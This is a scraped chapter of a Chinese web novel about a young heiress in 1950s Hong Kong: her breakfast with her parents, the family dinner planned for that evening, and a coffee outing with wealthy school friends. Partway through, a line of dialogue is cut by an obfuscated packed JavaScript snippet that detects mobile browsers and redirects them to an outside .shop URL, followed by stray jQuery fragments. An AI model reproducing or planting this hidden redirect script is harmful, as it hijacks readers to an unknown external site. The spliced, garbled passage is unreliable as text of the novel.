文趣网 > 其他小说 > 香江银楼大小姐[五零] > 3. 姐妹局
    “大小姐,您已经醒了吗?这一觉睡得可还安稳?”

    清晨七点半整,梳着两条乌黑油亮,用红绳仔细扎起的孖辫的女佣阿萍,轻手轻脚地,几乎是屏着呼吸推开了卧房那扇厚重的雕花木门。

    她手中托着的铜质托盘随着动作微微倾斜,上面摆放的白瓷杯盏与碟盘轻轻相碰,发出一连串叮叮当当的、细碎而清脆的声响,宛如一串小小的晨铃,悄然划破了卧室里弥漫着的静谧而柔和的晨光。

    柔软又宽大的雕花红木床上,宝意缓缓地、带着几分慵懒地睁开了朦胧的睡眼,她下意识地抬起手,用手背轻轻揉了揉那双尚有些惺忪的眸子。

    她的眉眼生得极为柔婉秀丽,长长的睫毛在眼睑下投出浅浅的影,唇瓣不点而朱,天然便透着一抹浅浅的、健康的粉润光泽。

    她微微用力,撑着还有些绵软的身子从温暖的床榻中坐起,身上那件滑顺如水的真丝睡袍随着动作悄然滑落了一侧肩头,恰到好处地露出一截如羊脂白玉般莹润细腻的脖颈与精致玲珑的锁骨线条。

    “阿萍,今天外头的天气怎么样?”

    宝意开口问道,嗓音里还带着刚醒来时特有的微哑,但那音色却依然软糯得仿佛浸透了清甜的花蜜,听着便让人觉得温柔可亲。

    “大小姐,今朝天气真是好得不得了呀,日头刚刚从东边升起来,金灿灿的光照进来,整间屋里都亮堂堂的。”

    女佣阿萍脸上绽开笑容,一边利落地应答着,一边手脚麻利地上前,熟练而恭敬地伺候她起身,准备接下来的洗漱事宜。

    温热湿润的水汽与雪花膏那特有的、甜腻而熟悉的香气渐渐在空气里交融弥漫开来,氤氲出一室温馨。

    明亮的梳妆镜前,娇柔明艳的少女对镜而坐,执起眉笔,仔细描画出两道细细弯弯、形如新月的柳叶眉,又用指尖沾上一点淡淡的桃红色胭脂,轻轻地在脸颊处匀开晕染。

    宝意本就生得明丽照人,肌肤白皙通透,即便不施粉黛,也已足够清丽脱俗,稍加点缀,更添了几分鲜活的娇媚。

    她换上了一件剪裁合体的米白色收腰旗袍,旗袍的襟口与下摆滚着一道雅致的浅蓝色细边,领口处则别了一枚小巧圆润、泛着柔和光泽的珍珠别针作为点睛之饰,脚下搭配的是一双皮质柔软舒适的小羊皮平底鞋。

    五十年代的港城,那时东西方文化在此交汇融合,中西合璧的打扮与生活方式,正是社交场上最受追捧的时髦风尚。

    宝意走在宅邸那光可鉴人的深色柚木地板上,步履轻盈而从容,几乎悄无声息,只有衣袂间带起的细微气流。

    她款步缓缓走下家中那颇具气派的旋转楼梯时,见父亲朱介甫早已端坐在长长的西式餐桌主位之上,手里正拿着一份展开的英文报纸,神情专注地仔细阅读着。

    母亲周馚馧则在一旁兴致勃勃地摆弄着刚刚由百货公司送到的,来自法国的最新款名牌香水,连空气中随之飘散开一阵若有若无,清雅迷人的芬芳气息。

    “宝意,快点过来吃早餐。”

    周馚馧抬眼看见亭亭玉立的女儿,立刻微笑着朝她招手,语气里满是慈爱与欣慰。

    铺着浆烫平整的亚麻桌布的长形餐桌上,精心摆放的正是港岛富庶人家日常餐桌上常见的那种中西合璧式早点——

    一侧是热气腾腾、面皮松软、内馅甜咸适口的广式叉烧包,以及料足味鲜、粥底绵密、点缀着鱼片与花生米的艇仔粥。

    另一侧则搭配着烤得金黄酥脆、涂抹了牛油与果酱的松饼与吐司,还有几杯散发着浓郁醇厚香气的现煮黑咖啡。

    整个餐桌的布置既体现了传统粤式早点的丰盛与地道,又融入了西洋早餐的精致与情调。

    “宝意,今日你同傅家小姐、庄家小姐还有方家小姐约好了,要去浅水湾酒店饮咖啡,记紧要准时,唔好迟到啊。”

    周馚馧一边用瓷勺为女儿碗里添上温热的艇仔粥,一边语气温和地轻声叮嘱道,眼神里满是母亲的关切与细致。

    她本来无意这些无聊的聚会,但一想到同几位千金小姐的姐妹局对接下来她要做的事......

    “知道啦,阿妈,我记得时间的。”

    宝意抬起头,对着母亲柔顺地应了一声,声音轻柔而乖巧。跟着,小口小口地喝着温热的粥,耳畔听着父亲与母亲低声交谈着铺头生意上的往来。

    头顶那盏精致的黄铜吊灯洒下温暖柔和的光晕,将餐厅笼罩其中。这一刻的时光,流淌得格外缓慢而宁静,宛如老式留声机里缓缓播放的悠扬旋律,绵长而怀旧。

    宝意轻轻拈起碟中那半块还带着些许温热的松饼,小心翼翼地咬下一小口。

    黄油的浓郁香气混合着麦子天然的清甜,瞬间在舌尖弥漫开来,带来一种温暖而满足的滋味。她正欲开口同父母说些什么,门口却传来了管家陈叔那熟悉而恭敬的声音:

    “大小姐,傅家派来的车已经候在门口了,汽车夫让我来问问,您这边准备妥当了没有?”

    闻声,宝意连忙放下手中那半块松饼,伸手取过随意搭在椅背上的那件米白色针织小开衫,轻巧地往胳膊上一披,口中应道:“知道了,有劳陈叔先去同傅家的汽车夫回个话,就说我马上就来。”

    这时,正坐在窗边扶手椅上悠闲看报的朱介甫,不紧不慢地折好手中的报纸,轻轻搁在一旁的小茶几上。

    他抬起手,用指节推了推架在鼻梁上的那副精巧的玳瑁边眼镜,目光透过镜片温和地投向女儿,语气里带着父亲一贯的关怀与叮嘱:

    “年轻人出去玩下,散下心自然是好的,只是要记得,别玩得太晚,务必早些回家。”

    他顿了顿,声音里多了几分郑重,“今晚你三叔公从南洋返来,一家人难得聚在一起,总要齐齐整整的,好好坐下来吃顿团圆饭才是。”

    一旁的周馚馧听了丈夫的话,似乎仍有些不放心,便又接过话头,对着女儿细细地补充道:

    “是啊,宝意今晚是你三叔公的接风宴,他带了未婚妻一起从南洋返来,你嫲嫲她老人家都难得开心。”

    “你大伯父,大伯娘,仲有你耀祖堂兄都会来。另外,你二姑妈也会带着你曼筠表姐同秋生表弟一起过来。你留意下时间,别让大家等你一个。”

    “我晓得啦,阿爸,阿妈。”

    宝意一听到家中亲那些亲戚也要来,便知到时候少不得要打起精神好好应对,面上还是笑着应下,话音里满是乖巧与了然。

    她一边应答,一边脚步未停,已然轻盈地走到了玄关处,那里,一只款式精致,光泽温润的柔软小羊皮定制手包正静静地躺在柜面上。

    她伸手利落地拎起手包,随即转过身来,面朝着屋内正关切望着她的父母,绽开一个明媚如春花的笑容,同时抬起手来,朝着他们的方向轻轻挥了挥,语气轻快而笃定地补充道:

    “放心好了,我肯定赶在晚饭前回来,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863005|212093||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不会耽搁的。”

    最后一个音节还在空气中微微颤动,宝意便已迫不及待地行动起来,脚下踏着那轻快的步子,身影灵巧地一闪,便穿过了那扇厚重而颇具质感的家门,融入了门外的光景之中。

    外头傅家派来的汽车果然已经安安静静待在宅子门口,原本还坐在车里的白手套汽车夫见宝意出来,连忙殷勤地拉开车门请她上车。

    眼前这位可是自家大少爷的心头爱,又是自家大小姐的闺中密友,他自然是不敢怠慢的。

    宝意微微颔首道谢,姿态优雅地坐进车内,旗袍的下摆轻轻扫过光洁的车门踏板。

    晨风吹过来,带着海港咸湿湿润的气息,朱家大宅门口那两棵大凤凰木开得正盛,艳红的花簇落了一地,汽车很快便平稳地驶了出去,沿着港岛整洁的林荫道路朝着浅水湾的方向开去。

    道路两旁琳琅满目的橱窗里,陈列着最新款的西洋裙装,熠熠生辉的瑞士腕表,以及色彩鲜艳的好莱坞电影海报和长城电影公司的海报。

    有轨电车叮叮当当地从旁驶过,街上行人如织:穿着笔挺西装匆匆赶路的先生、拎着精致皮包相约饮茶的太太、还有沿街奔跑叫卖报纸的报童……

    这一切共同交织、流动,在宝意眼中构成了一幅生动鲜活、充满时代气息的五十年代港城风情画卷。

    ......

    车子很快到了浅水湾酒店。

    露台餐厅里,傅映玲与方丽雯早已在约定地点等候。

    傅映玲身着一袭剪裁合体的鹅黄色旗袍,衣料光滑柔顺,在光线下泛着淡淡的光泽。方丽雯则选择了清新的青色旗袍,款式雅致,衬托出她纤细的身材。

    两人都烫着一头精致的卷发,发丝弧度恰到好处,显然是经过精心打理,整体装扮尽显时髦千金的风范。

    傅映玲家世显赫,她阿爷傅瑎礼是香江船运界的巨头,掌控着庞大的航运帝国,而她则是傅家原配太太所出的嫡长女,身份自然金贵无比。方丽雯同样出身不凡,她是香江报业大王方仲昆最疼爱的小孙女,自幼便备受家族呵护。还有一位尚未到场的庄妙芝,则是钟表大王庄伯铸的掌上明珠,同样在庄家年纪最小却备受宠爱。

    这三位家境优渥的千金大小姐,与宝意曾是圣士提反中学的同窗好友,彼此关系密切。

    她们与原主相似,都是港岛社交圈中闻名遐迩的娇奢美人,从小在父母的极度溺爱中长大,生活奢华无度,从未亲手操劳过任何琐事,养成了目空一切、骄纵任性的性格。

    凭借显赫的家世与出众的容貌,她们在名媛圈中肆意横行,几乎无人敢惹。然而,原主宝意尤其以言辞尖酸刻薄著称,常常口不择言,因此结怨甚多,真心交往的朋友却寥寥无几。

    表面上看,她们风光无限,生活令人艳羡,但实际上,这种风光不过是家族过度保护下的虚幻泡沫。由于长期被亲人捧在掌心,她们不谙世事,心思单纯,容易轻信他人,缺乏识人的眼光。

    正因如此,原主才会被家族中的亲戚暗中捧杀,更被未婚夫陆景明利用,沦为众人眼中的垫脚石与提款机,最终走向悲惨的结局。

    但如今的宝意已然不同——她的内在早已被现代杀伐果断的设计师灵魂所取代,外表却依旧保持着娇美明艳、气质高贵的港城名媛形象。

    初来这个陌生世界,她谨慎地隐藏起真实自我,仍以原主那副骄矜傲慢的姿态与这些旧日同窗往来周旋。